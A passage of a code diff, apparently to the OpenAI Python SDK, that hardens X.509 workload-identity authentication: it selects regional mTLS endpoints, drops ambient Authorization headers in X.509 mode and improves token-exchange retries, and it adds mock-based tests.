preserve_default_base_url = base_url is None and not mode_changed and self._base_url_was_default
auth_options = {
@@ -758,6 +801,23 @@ def copy(
)
if preserve_default_base_url:
copied._base_url_was_default = True
+ overridden_authorizations = default_headers if default_headers is not None else set_default_headers
+ explicit_authorization_override = overridden_authorizations is not None and any(
+ name.lower() == "authorization" for name in overridden_authorizations
+ )
+ if (
+ self._ambient_authorizations
+ and not explicit_authorization_override
+ and any(
+ name.lower() == "authorization" and value in self._ambient_authorizations
+ for name, value in copied._custom_headers.items()
+ )
+ ):
+ copied._ambient_authorizations = self._ambient_authorizations
+ if data_residency is not None:
+ copied._data_residency = data_residency
+ elif not explicit_base_url and not provider_changed:
+ copied._data_residency = self._data_residency
return copied
# Alias for `copy` for nicer inline usage, e.g.
@@ -811,6 +871,8 @@ class AsyncOpenAI(AsyncAPIClient):
_provider: _Provider | None
_provider_runtime: _ProviderRuntime | None
_base_url_was_default: bool
+ _data_residency: DataResidency | None
+ _ambient_authorizations: frozenset[str]
websocket_base_url: str | httpx2.URL | None
"""Base URL for WebSocket connections.
@@ -832,6 +894,7 @@ def base_url(self, url: httpx2.URL | str) -> None:
validate_x509_api_url(normalized_url)
self._base_url = self._enforce_trailing_slash(normalized_url)
self._base_url_was_default = False
+ self._data_residency = None
def __init__(
self,
@@ -881,6 +944,7 @@ def __init__(
base_url = resolve_data_residency(
data_residency, base_url, provider=provider, websocket_base_url=websocket_base_url
)
+ base_url = x509_data_residency_base_url(base_url, data_residency, workload_identity)
provider_runtime: _ProviderRuntime | None = None
if provider is not None:
provider_name = _provider_name(provider)
@@ -978,11 +1042,13 @@ def __init__(
elif base_url is None:
base_url = os.environ.get("OPENAI_BASE_URL")
self._base_url_was_default = provider_runtime is None and base_url is None
+ self._data_residency = data_residency
if base_url is None:
base_url = MTLS_API_BASE_URL if x509_identity is not None else "https://api.openai.com/v1"
if x509_identity is not None:
validate_x509_api_url(base_url)
+ self._ambient_authorizations = frozenset()
custom_headers_env = os.environ.get("OPENAI_CUSTOM_HEADERS") if provider_runtime is None else None
if custom_headers_env is not None:
parsed: dict[str, str] = {}
@@ -990,7 +1056,18 @@ def __init__(
colon = line.find(":")
if colon >= 0:
parsed[line[:colon].strip()] = line[colon + 1 :].strip()
- default_headers = {**parsed, **(default_headers if is_mapping_t(default_headers) else {})}
+ explicit_headers: Mapping[str, str] = default_headers if is_mapping_t(default_headers) else {}
+ explicit_authorization = any(name.lower() == "authorization" for name in explicit_headers)
+ if explicit_authorization:
+ parsed = {name: value for name, value in parsed.items() if name.lower() != "authorization"}
+ elif x509_identity is None:
+ self._ambient_authorizations = frozenset(
+ value for name, value in parsed.items() if name.lower() == "authorization"
+ )
+ default_headers = {
+ **x509_safe_environment_headers(parsed, x509_identity),
+ **explicit_headers,
+ }
super().__init__(
version=__version__,
@@ -1207,7 +1284,11 @@ async def _send_with_auth_retry(
kwargs["follow_redirects"] = x509_auth._follow_redirects
authorization = request.headers.get("Authorization")
if authorization == f"Bearer {WORKLOAD_IDENTITY_API_KEY_PLACEHOLDER}":
- used_access_token = await x509_auth.get_token_async()
+ used_access_token = (
+ await x509_auth.get_token_for_request(request)
+ if isinstance(x509_auth, AsyncX509WorkloadIdentityAuth)
+ else await x509_auth.get_token_async()
+ )
request.headers["Authorization"] = f"Bearer {used_access_token}"
request_is_replayable = x509_auth._can_retry_request(request)
@@ -1387,7 +1468,19 @@ def copy(
inherited_project = None if provider_changed else self.project
headers: Mapping[str, str] = {} if provider_changed else self._custom_headers
+ if (
+ is_x509_workload_identity(workload_identity)
+ and not is_x509_workload_identity(self.workload_identity)
+ and self._ambient_authorizations
+ ):
+ headers = {
+ name: value
+ for name, value in headers.items()
+ if name.lower() != "authorization" or value not in self._ambient_authorizations
+ }
if default_headers is not None:
+ if any(name.lower() == "authorization" for name in default_headers):
+ headers = {name: value for name, value in headers.items() if name.lower() != "authorization"}
headers = {**headers, **default_headers}
elif set_default_headers is not None:
headers = set_default_headers
@@ -1400,9 +1493,23 @@ def copy(
http_client = http_client or self._client
next_provider = self._provider if isinstance(provider, NotGiven) else provider
+ explicit_base_url = base_url is not None and not isinstance(base_url, NotGiven)
+ next_workload_identity = workload_identity if workload_identity is not None else self.workload_identity
+ if api_key is not None and workload_identity is None:
+ next_workload_identity = None
+ current_x509 = is_x509_workload_identity(self.workload_identity)
+ next_x509 = is_x509_workload_identity(next_workload_identity)
+ mode_changed = current_x509 != next_x509
+ effective_data_residency = data_residency
+ if effective_data_residency is None and mode_changed and not explicit_base_url:
+ effective_data_residency = self._data_residency
base_url = resolve_data_residency(
- data_residency, base_url, provider=next_provider, websocket_base_url=websocket_base_url
+ effective_data_residency,
+ not_given if base_url is None and data_residency is None else base_url,
+ provider=next_provider,
+ websocket_base_url=websocket_base_url,
)
+ base_url = x509_data_residency_base_url(base_url, effective_data_residency, next_workload_identity)
preserve_default_base_url = False
auth_options: dict[str, Any]
if next_provider is not None:
@@ -1421,12 +1528,6 @@ def copy(
"base_url": base_url,
}
else:
- next_workload_identity = workload_identity if workload_identity is not None else self.workload_identity
- if api_key is not None and workload_identity is None:
- next_workload_identity = None
- current_x509 = is_x509_workload_identity(self.workload_identity)
- next_x509 = is_x509_workload_identity(next_workload_identity)
- mode_changed = current_x509 != next_x509
inherited_base_url = None if mode_changed and self._base_url_was_default else self.base_url
preserve_default_base_url = base_url is None and not mode_changed and self._base_url_was_default
auth_options = {
@@ -1454,6 +1555,23 @@ def copy(
)
if preserve_default_base_url:
copied._base_url_was_default = True
+ overridden_authorizations = default_headers if default_headers is not None else set_default_headers
+ explicit_authorization_override = overridden_authorizations is not None and any(
+ name.lower() == "authorization" for name in overridden_authorizations
+ )
+ if (
+ self._ambient_authorizations
+ and not explicit_authorization_override
+ and any(
+ name.lower() == "authorization" and value in self._ambient_authorizations
+ for name, value in copied._custom_headers.items()
+ )
+ ):
+ copied._ambient_authorizations = self._ambient_authorizations
+ if data_residency is not None:
+ copied._data_residency = data_residency
+ elif not explicit_base_url and not provider_changed:
+ copied._data_residency = self._data_residency
return copied
# Alias for `copy` for nicer inline usage, e.g.
diff --git a/src/openai/auth/_x509.py b/src/openai/auth/_x509.py
index 622f2b89ec..f87e9f50df 100644
--- a/src/openai/auth/_x509.py
+++ b/src/openai/auth/_x509.py
@@ -5,6 +5,7 @@
import time
import email.utils
from typing import Any, NoReturn, cast
+from contextvars import ContextVar
from typing_extensions import TypeIs, override
import anyio
@@ -29,6 +30,20 @@
_REPLAY_FILE_POSITIONS_EXTENSION = "openai_x509_replay_file_positions"
_ALLOWED_IDENTITY_FIELDS = {"type", "identity_provider_id", "service_account_id", "refresh_buffer_seconds"}
_BEARER_ACCESS_TOKEN = re.compile(r"[A-Za-z0-9._~+/-]+=*")
+_MTLS_REGIONAL_BASE_URLS = {
+ "global": MTLS_API_BASE_URL,
+ "us": "https://mtls-us.api.openai.com/v1",
+ "eu": "https://mtls-eu.api.openai.com/v1",
+}
+_OPENAI_MTLS_HOSTS = {httpx2.URL(url).host for url in _MTLS_REGIONAL_BASE_URLS.values()}
+_EXCHANGE_REQUEST_TIMEOUT: ContextVar[dict[str, float | None] | None] = ContextVar(
+ "openai_x509_exchange_request_timeout", default=None
+)
+
+
+class _TransientTokenExchangeError(Exception):
+ def __init__(self, error: OpenAIError) -> None:
+ self.error = error
def validate_x509_api_url(url: httpx2.URL | str, *, expected_origin: httpx2.URL | None = None) -> None:
@@ -89,6 +104,15 @@ def _validate_transport_request(
validate_x509_api_url(request.url, expected_origin=expected_origin)
validate_x509_request_authority(request)
+ target = request.extensions.get("target")
+ if target is not None and target != request.url.raw_path:
+ raise OpenAIError("X.509 workload identity request target must match the request URL")
+
+ sni_hostname = request.extensions.get("sni_hostname")
+ if request.url.host in _OPENAI_MTLS_HOSTS and sni_hostname is not None:
+ if not isinstance(sni_hostname, str) or sni_hostname.lower() != expected_origin.host.lower():
+ raise OpenAIError("X.509 workload identity TLS hostname must match the configured origin")
+
if token_exchange:
if str(request.url) != _X509_TOKEN_EXCHANGE_URL:
raise OpenAIError("X.509 token exchange requests must use the pinned authentication URL")
@@ -189,6 +213,7 @@ def _scoped_sync_client(
transport=transport,
timeout=http_client.timeout,
event_hooks=None if token_exchange else http_client.event_hooks,
+ default_encoding=http_client._default_encoding,
trust_env=False,
)
if not token_exchange:
@@ -217,6 +242,7 @@ def _scoped_async_client(
transport=transport,
timeout=http_client.timeout,
event_hooks=None if token_exchange else http_client.event_hooks,
+ default_encoding=http_client._default_encoding,
trust_env=False,
)
if not token_exchange:
@@ -240,6 +266,26 @@ def is_x509_workload_identity(
return identity is not None and identity.get("type") == "x509"
+def x509_data_residency_base_url(
+ base_url: httpx2.URL | str | None,
+ data_residency: str | None,
+ workload_identity: WorkloadIdentity | X509WorkloadIdentity | None,
+) -> httpx2.URL | str | None:
+ if data_residency is None or not is_x509_workload_identity(workload_identity):
+ return base_url
+ if data_residency not in _MTLS_REGIONAL_BASE_URLS:
+ raise OpenAIError("X.509 workload identity requires a supported regional mTLS endpoint")
+ return _MTLS_REGIONAL_BASE_URLS[data_residency]
+
+
+def x509_safe_environment_headers(
+ headers: dict[str, str], workload_identity: X509WorkloadIdentity | None
+) -> dict[str, str]:
+ if workload_identity is None:
+ return headers
+ return {name: value for name, value in headers.items() if name.lower() != "authorization"}
+
+
def _validate_identity(identity: X509WorkloadIdentity) -> None:
if "provider" in identity or "client_id" in identity:
raise OpenAIError("X.509 workload identity does not accept a subject-token provider or client ID")
@@ -247,7 +293,13 @@ def _validate_identity(identity: X509WorkloadIdentity) -> None:
if set(identity) - _ALLOWED_IDENTITY_FIELDS:
raise OpenAIError("X.509 workload identity accepts only identity IDs and an optional refresh buffer")
- if not identity.get("identity_provider_id") or not identity.get("service_account_id"):
+ if any(
+ not isinstance(identity.get(field), str) or not identity.get(field)
+ for field in (
+ "identity_provider_id",
+ "service_account_id",
+ )
+ ):
raise OpenAIError("X.509 workload identity requires identity-provider and service-account IDs")
refresh_buffer = cast(object, identity.get("refresh_buffer_seconds"))
@@ -276,20 +328,39 @@ def _token_exchange_request(
if legacy_httpx is not None and not isinstance(cast(object, http_client), (httpx2.Client, httpx2.AsyncClient)):
request_type = cast(type[httpx2.Request], cast(Any, legacy_httpx).Request)
+ configured_timeout = _EXCHANGE_REQUEST_TIMEOUT.get()
+ timeout = {
+ phase: min(value, 10.0) if value is not None else 10.0
+ for phase, value in (configured_timeout or httpx2.Timeout(10.0).as_dict()).items()
+ }
return request_type(
"POST",
_X509_TOKEN_EXCHANGE_URL,
json=_exchange_payload(identity),
- extensions={"timeout": httpx2.Timeout(10.0).as_dict()},
+ extensions={"timeout": timeout},
)
def _retry_delay(response: httpx2.Response | None, attempt: int) -> float | None:
if response is not None:
- if response.status_code not in (408, 409, 429) and response.status_code < 500:
+ should_retry = response.headers.get("x-should-retry")
+ if response.status_code in (400, 401, 403) or should_retry == "false":
+ return None
+ if should_retry != "true" and response.status_code not in (408, 409, 429) and response.status_code < 500:
return None
+ retry_after_ms = response.headers.get("retry-after-ms")
retry_after = response.headers.get("retry-after")
+ if retry_after_ms is not None:
+ try:
+ millisecond_delay = float(retry_after_ms) / 1000
+ except ValueError:
+ pass
+ else:
+ if math.isfinite(millisecond_delay) and 0 <= millisecond_delay <= MAX_RETRY_AFTER_DELAY:
+ return millisecond_delay
+ if millisecond_delay > MAX_RETRY_AFTER_DELAY:
+ return None
if retry_after is not None:
try:
delay = float(retry_after)
@@ -323,9 +394,12 @@ def _is_replayable_request(request: httpx2.Request) -> bool:
seekable = getattr(file, "seekable", None)
seek = getattr(file, "seek", None)
tell = getattr(file, "tell", None)
- if not callable(seekable) or not seekable() or not callable(seek) or not callable(tell):
+ try:
+ if not callable(seekable) or not seekable() or not callable(seek) or not callable(tell):
+ return False
+ position = tell()
+ except (OSError, ValueError):
return False
- position = tell()
if not isinstance(position, int):
return False
file_positions.append((file, position))
@@ -336,9 +410,12 @@ def _is_replayable_request(request: httpx2.Request) -> bool:
seekable = getattr(source, "seekable", None)
seek = getattr(source, "seek", None)
tell = getattr(source, "tell", None)
- if not callable(seekable) or not seekable() or not callable(seek) or not callable(tell):
+ try:
+ if not callable(seekable) or not seekable() or not callable(seek) or not callable(tell):
+ return False
+ request.extensions[_REPLAY_POSITION_EXTENSION] = tell()
+ except (OSError, ValueError):
return False
- request.extensions[_REPLAY_POSITION_EXTENSION] = tell()
return True
@@ -350,10 +427,7 @@ def _transport_errors() -> tuple[type[Exception], ...]:
return (httpx2.TransportError, legacy_transport_error)
-def _raise_transport_error(error: Exception) -> NoReturn:
- request = cast(httpx2.Request | None, getattr(error, "request", None))
- if request is None:
- raise OpenAIError("X.509 token exchange connection failed") from error
+def _raise_transport_error(error: Exception, *, request: httpx2.Request) -> NoReturn:
if isinstance(error, timeout_exceptions()):
raise APITimeoutError(request=request) from error
raise APIConnectionError(request=request) from error
@@ -416,8 +490,37 @@ def _prepare_retry_request(self, request: httpx2.Request) -> None:
if callable(seek):
seek(position)
+ def _usable_token_after_transient_failure(self) -> str | None:
+ with self._lock:
+ if self._token_unusable():
+ return None
+ self._cached_token_refresh_at_monotonic = time.monotonic() + INITIAL_RETRY_DELAY
+ return self._cached_token
+
+ @override
+ def _perform_refresh(self) -> None:
+ try:
+ super()._perform_refresh()
+ except (APIConnectionError, _TransientTokenExchangeError):
+ if self._usable_token_after_transient_failure() is None:
+ raise
+
+ def _handle_exchange_response(self, response: httpx2.Response) -> dict[str, Any]:
+ try:
+ return self._handle_token_response(response)
+ except OpenAIError as error:
+ if (
+ response.status_code in (408, 409, 429)
+ or response.status_code >= 500
+ or (response.status_code not in (400, 401, 403) and response.headers.get("x-should-retry") == "true")
+ ):
+ raise _TransientTokenExchangeError(error) from error
+ raise
+
class SyncX509WorkloadIdentityAuth(_X509WorkloadIdentityAuth):
+ _http_client: httpx2.Client
+
def __init__(
self, *, workload_identity: X509WorkloadIdentity, http_client: httpx2.Client, max_retries: int
) -> None:
@@ -434,15 +537,30 @@ def send_api_request(
**kwargs: Any,
) -> httpx2.Response:
with _scoped_sync_client(
- self._http_client,
- expected_origin=expected_origin,
- expected_authorization=expected_authorization,
+ self._http_client, expected_origin=expected_origin, expected_authorization=expected_authorization
) as scoped_client:
+ kwargs.setdefault("auth", None)
return scoped_client.send(request, stream=stream, **kwargs)
+ def get_token_for_request(self, request: httpx2.Request) -> str:
+ timeout_token = _EXCHANGE_REQUEST_TIMEOUT.set(request.extensions.get("timeout"))
+ try:
+ try:
+ return self.get_token()
+ except (APIConnectionError, _TransientTokenExchangeError) as error:
+ token = self._usable_token_after_transient_failure()
+ if token is None:
+ if isinstance(error, _TransientTokenExchangeError):
+ raise error.error from None
+ raise
+ return token
+ finally:
+ _EXCHANGE_REQUEST_TIMEOUT.reset(timeout_token)
+
@override
def _fetch_token_from_exchange(self) -> dict[str, Any]:
for attempt in range(self._max_exchange_retries + 1):
+ exchange_request = _token_exchange_request(self.workload_identity, http_client=self._http_client)
try:
with _scoped_sync_client(
self._http_client,
@@ -450,18 +568,18 @@ def _fetch_token_from_exchange(self) -> dict[str, Any]:
token_exchange=True,
) as scoped_client:
response = scoped_client.send(
- _token_exchange_request(self.workload_identity, http_client=self._http_client),
+ exchange_request,
auth=None,
follow_redirects=False,
)
except _transport_errors() as error:
if attempt >= self._max_exchange_retries:
- _raise_transport_error(error)
+ _raise_transport_error(error, request=exchange_request)
delay = _retry_delay(None, attempt)
else:
delay = _retry_delay(response, attempt)
if attempt >= self._max_exchange_retries or delay is None:
- return self._handle_token_response(response)
+ return self._handle_exchange_response(response)
if delay is not None:
time.sleep(delay)
@@ -470,6 +588,8 @@ def _fetch_token_from_exchange(self) -> dict[str, Any]:
class AsyncX509WorkloadIdentityAuth(_X509WorkloadIdentityAuth):
+ _http_client: httpx2.AsyncClient
+
def __init__(
self, *, workload_identity: X509WorkloadIdentity, http_client: httpx2.AsyncClient, max_retries: int
) -> None:
@@ -487,12 +607,26 @@ async def send_api_request(
**kwargs: Any,
) -> httpx2.Response:
async with _scoped_async_client(
- self._http_client,
- expected_origin=expected_origin,
- expected_authorization=expected_authorization,
+ self._http_client, expected_origin=expected_origin, expected_authorization=expected_authorization
) as scoped_client:
+ kwargs.setdefault("auth", None)
return await scoped_client.send(request, stream=stream, **kwargs)
+ async def get_token_for_request(self, request: httpx2.Request) -> str:
+ timeout_token = _EXCHANGE_REQUEST_TIMEOUT.set(request.extensions.get("timeout"))
+ try:
+ try:
+ return await self.get_token_async()
+ except (APIConnectionError, _TransientTokenExchangeError) as error:
+ token = self._usable_token_after_transient_failure()
+ if token is None:
+ if isinstance(error, _TransientTokenExchangeError):
+ raise error.error from None
+ raise
+ return token
+ finally:
+ _EXCHANGE_REQUEST_TIMEOUT.reset(timeout_token)
+
@override
async def get_token_async(self) -> str:
async with self._async_lock:
@@ -500,13 +634,20 @@ async def get_token_async(self) -> str:
if not self._token_unusable() and not self._needs_refresh():
return cast(str, self._cached_token)
- token_data = await self._fetch_token_from_exchange_async()
+ try:
+ token_data = await self._fetch_token_from_exchange_async()
+ except (APIConnectionError, _TransientTokenExchangeError):
+ token = self._usable_token_after_transient_failure()
+ if token is None:
+ raise
+ return token
self._store_token(token_data)
with self._lock:
return cast(str, self._cached_token)
async def _fetch_token_from_exchange_async(self) -> dict[str, Any]:
for attempt in range(self._max_exchange_retries + 1):
+ exchange_request = _token_exchange_request(self.workload_identity, http_client=self._http_client)
try:
async with _scoped_async_client(
self._http_client,
@@ -514,18 +655,18 @@ async def _fetch_token_from_exchange_async(self) -> dict[str, Any]:
token_exchange=True,
) as scoped_client:
response = await scoped_client.send(
- _token_exchange_request(self.workload_identity, http_client=self._http_client),
+ exchange_request,
auth=None,
follow_redirects=False,
)
except _transport_errors() as error:
if attempt >= self._max_exchange_retries:
- _raise_transport_error(error)
+ _raise_transport_error(error, request=exchange_request)
delay = _retry_delay(None, attempt)
else:
delay = _retry_delay(response, attempt)
if attempt >= self._max_exchange_retries or delay is None:
- return self._handle_token_response(response)
+ return self._handle_exchange_response(response)
if delay is not None:
await anyio.sleep(delay)
diff --git a/tests/test_x509_workload_identity_hardening.py b/tests/test_x509_workload_identity_hardening.py
new file mode 100644
index 0000000000..46c5496751
--- /dev/null
+++ b/tests/test_x509_workload_identity_hardening.py
@@ -0,0 +1,961 @@
+from __future__ import annotations
+
+import io
+import json
+import time
+import asyncio
+import threading
+from typing import Any, cast
+from contextvars import Context
+from typing_extensions import override
+from concurrent.futures import ThreadPoolExecutor
+
+import httpx2
+import pytest
+
+import openai.auth._x509 as x509_auth
+from openai import OpenAI, OAuthError, AsyncOpenAI, OpenAIError, APIConnectionError
+from openai.auth import X509WorkloadIdentity, x509_workload_identity
+from openai.providers import bedrock
+
+_TOKEN_URL = "https://mtls.auth.openai.com/oauth/token"
+_API_URL = "https://mtls.api.openai.com/v1/models"
+_REGIONAL_MTLS_URLS = {
+ "global": "https://mtls.api.openai.com/v1/",
+ "us": "https://mtls-us.api.openai.com/v1/",
+ "eu": "https://mtls-eu.api.openai.com/v1/",
+}
+
+
+class _RequestlessConnectError(httpx2.ConnectError):
+ @property
+ @override
+ def request(self) -> httpx2.Request:
+ raise RuntimeError("The .request property has not been set.")
+
+ @request.setter
+ def request(self, request: httpx2.Request) -> None:
+ del request
+ return None
+
+
+def _identity() -> X509WorkloadIdentity:
+ return x509_workload_identity(identity_provider_id="idp_example", service_account_id="svc_example")
+
+
+def _response(request: httpx2.Request, *, token: str = "access-token") -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ return httpx2.Response(200, request=request, json={"access_token": token, "expires_in": 3600})
+ return httpx2.Response(200, request=request, json={"object": "list", "data": []})
+
+
+def test_sync_x509_ignores_ambient_authorization_without_changing_explicit_overrides(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ requests: list[httpx2.Request] = []
+ monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", "Authorization: Bearer ambient-secret\nX-Custom: retained")
+ http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request)))
+
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert client.models.list().object == "list"
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL]
+ assert requests[-1].headers["Authorization"] == "Bearer access-token"
+ assert requests[-1].headers["X-Custom"] == "retained"
+
+
+@pytest.mark.parametrize("header_name", ["Authorization", "aUtHoRiZaTiOn"])
+def test_sync_switch_to_x509_discards_inherited_ambient_authorization(
+ monkeypatch: pytest.MonkeyPatch, header_name: str
+) -> None:
+ requests: list[httpx2.Request] = []
+ monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", f"{header_name}: Bearer ambient-secret")
+ http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request)))
+
+ with OpenAI(api_key="original-api-key", http_client=http_client, max_retries=0) as original:
+ original.with_options(workload_identity=_identity()).models.list()
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL]
+ assert requests[-1].headers["Authorization"] == "Bearer access-token"
+
+
+@pytest.mark.parametrize("header_name", ["Authorization", "aUtHoRiZaTiOn"])
+async def test_async_switch_to_x509_discards_inherited_ambient_authorization(
+ monkeypatch: pytest.MonkeyPatch, header_name: str
+) -> None:
+ requests: list[httpx2.Request] = []
+ monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", f"{header_name}: Bearer ambient-secret")
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request)))
+
+ async with AsyncOpenAI(api_key="original-api-key", http_client=http_client, max_retries=0) as original:
+ await original.with_options(workload_identity=_identity()).models.list()
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL]
+ assert requests[-1].headers["Authorization"] == "Bearer access-token"
+
+
+@pytest.mark.parametrize("ambient_header", ["authorization", "aUtHoRiZaTiOn"])
+def test_sync_switch_to_x509_discards_ambient_authorization_from_an_explicit_intermediate_copy(
+ monkeypatch: pytest.MonkeyPatch, ambient_header: str
+) -> None:
+ requests: list[httpx2.Request] = []
+ monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", f"{ambient_header}: Bearer ambient-secret")
+ http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request)))
+
+ with OpenAI(api_key="original-api-key", http_client=http_client, max_retries=0) as original:
+ intermediate = original.with_options(default_headers={"Authorization": "Bearer workload-identity-auth"})
+ assert httpx2.Headers(intermediate._custom_headers).get_list("Authorization") == [
+ "Bearer workload-identity-auth"
+ ]
+ copied = intermediate.with_options(workload_identity=_identity())
+ assert httpx2.Headers(copied._custom_headers).get_list("Authorization") == ["Bearer workload-identity-auth"]
+ assert copied.models.list().object == "list"
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL]
+ assert requests[-1].headers.get_list("Authorization") == ["Bearer access-token"]
+
+
+@pytest.mark.parametrize("ambient_header", ["authorization", "aUtHoRiZaTiOn"])
+async def test_async_switch_to_x509_discards_ambient_authorization_from_an_explicit_intermediate_copy(
+ monkeypatch: pytest.MonkeyPatch, ambient_header: str
+) -> None:
+ requests: list[httpx2.Request] = []
+ monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", f"{ambient_header}: Bearer ambient-secret")
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request)))
+
+ async with AsyncOpenAI(api_key="original-api-key", http_client=http_client, max_retries=0) as original:
+ intermediate = original.with_options(default_headers={"Authorization": "Bearer workload-identity-auth"})
+ assert httpx2.Headers(intermediate._custom_headers).get_list("Authorization") == [
+ "Bearer workload-identity-auth"
+ ]
+ copied = intermediate.with_options(workload_identity=_identity())
+ assert httpx2.Headers(copied._custom_headers).get_list("Authorization") == ["Bearer workload-identity-auth"]
+ assert (await copied.models.list()).object == "list"
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL]
+ assert requests[-1].headers.get_list("Authorization") == ["Bearer access-token"]
+
+
+def test_sync_switch_to_x509_discards_every_mixed_case_ambient_authorization(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ requests: list[httpx2.Request] = []
+ monkeypatch.setenv(
+ "OPENAI_CUSTOM_HEADERS", "Authorization: Bearer first-ambient\nAUTHORIZATION: Bearer second-ambient"
+ )
+ http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request)))
+
+ with OpenAI(api_key="original-api-key", http_client=http_client, max_retries=0) as original:
+ original.with_options(workload_identity=_identity()).models.list()
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL]
+ assert requests[-1].headers.get_list("Authorization") == ["Bearer access-token"]
+
+
+async def test_async_switch_to_x509_discards_every_mixed_case_ambient_authorization(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ requests: list[httpx2.Request] = []
+ monkeypatch.setenv(
+ "OPENAI_CUSTOM_HEADERS", "Authorization: Bearer first-ambient\nAUTHORIZATION: Bearer second-ambient"
+ )
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request)))
+
+ async with AsyncOpenAI(api_key="original-api-key", http_client=http_client, max_retries=0) as original:
+ await original.with_options(workload_identity=_identity()).models.list()
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL]
+ assert requests[-1].headers.get_list("Authorization") == ["Bearer access-token"]
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+def test_x509_mode_switch_preserves_explicit_authorization_override(
+ client_type: type[OpenAI] | type[AsyncOpenAI], monkeypatch: pytest.MonkeyPatch
+) -> None:
+ monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", "Authorization: Bearer ambient-secret")
+ original = client_type(api_key="original-api-key")
+ copied = original.with_options(
+ workload_identity=_identity(), default_headers={"Authorization": "Bearer intentional-override"}
+ )
+ assert copied.default_headers["Authorization"] == "Bearer intentional-override"
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+@pytest.mark.parametrize("header_name", ["Authorization", "authorization", "AUTHORIZATION"])
+def test_x509_mode_switch_preserves_inherited_explicit_authorization_override(
+ client_type: type[OpenAI] | type[AsyncOpenAI], monkeypatch: pytest.MonkeyPatch, header_name: str
+) -> None:
+ monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", "Authorization: Bearer ambient-secret")
+ original = client_type(api_key="original-api-key", default_headers={header_name: "Bearer intentional-override"})
+ copied = original.with_options(workload_identity=_identity())
+ assert httpx2.Headers(copied._custom_headers).get_list("authorization") == ["Bearer intentional-override"]
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+@pytest.mark.parametrize("header_option", ["default_headers", "set_default_headers"])
+def test_x509_mode_switch_preserves_explicit_override_matching_ambient_authorization(
+ client_type: type[OpenAI] | type[AsyncOpenAI], monkeypatch: pytest.MonkeyPatch, header_option: str
+) -> None:
+ monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", "Authorization: Bearer ambient-secret")
+ original = client_type(api_key="original-api-key")
+ headers = {"Authorization": "Bearer ambient-secret"}
+ explicitly_overridden = (
+ original.with_options(default_headers=headers)
+ if header_option == "default_headers"
+ else original.with_options(set_default_headers=headers)
+ )
+
+ copied = explicitly_overridden.with_options(workload_identity=_identity())
+
+ assert httpx2.Headers(copied._custom_headers).get_list("authorization") == ["Bearer ambient-secret"]
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+def test_x509_mode_switch_discards_ambient_authorization_after_intermediate_copy(
+ client_type: type[OpenAI] | type[AsyncOpenAI], monkeypatch: pytest.MonkeyPatch
+) -> None:
+ monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", "Authorization: Bearer ambient-secret")
+ original = client_type(api_key="original-api-key")
+ copied = original.with_options(timeout=2).with_options(workload_identity=_identity())
+ assert not any(name.lower() == "authorization" for name in copied._custom_headers)
+
+
+async def test_async_x509_ignores_ambient_authorization_without_changing_explicit_overrides(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ requests: list[httpx2.Request] = []
+ monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", "aUtHoRiZaTiOn: Bearer ambient-secret\nX-Custom: retained")
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request)))
+
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert (await client.models.list()).object == "list"
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL]
+ assert requests[-1].headers["Authorization"] == "Bearer access-token"
+ assert requests[-1].headers["X-Custom"] == "retained"
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+@pytest.mark.parametrize(("region", "expected_url"), _REGIONAL_MTLS_URLS.items())
+def test_x509_data_residency_uses_confirmed_regional_mtls_endpoints(
+ client_type: type[OpenAI] | type[AsyncOpenAI], region: str, expected_url: str
+) -> None:
+ client = client_type(workload_identity=_identity(), data_residency=cast(Any, region))
+ assert str(client.base_url) == expected_url
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+@pytest.mark.parametrize(("region", "expected_url"), _REGIONAL_MTLS_URLS.items())
+def test_x509_copy_uses_confirmed_regional_mtls_endpoints(
+ client_type: type[OpenAI] | type[AsyncOpenAI], region: str, expected_url: str
+) -> None:
+ client = client_type(workload_identity=_identity())
+ copied = client.with_options(data_residency=cast(Any, region))
+ assert str(copied.base_url) == expected_url
+ assert str(client.base_url) == _REGIONAL_MTLS_URLS["global"]
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+def test_switching_from_provider_to_regional_x509_uses_the_mtls_endpoint(
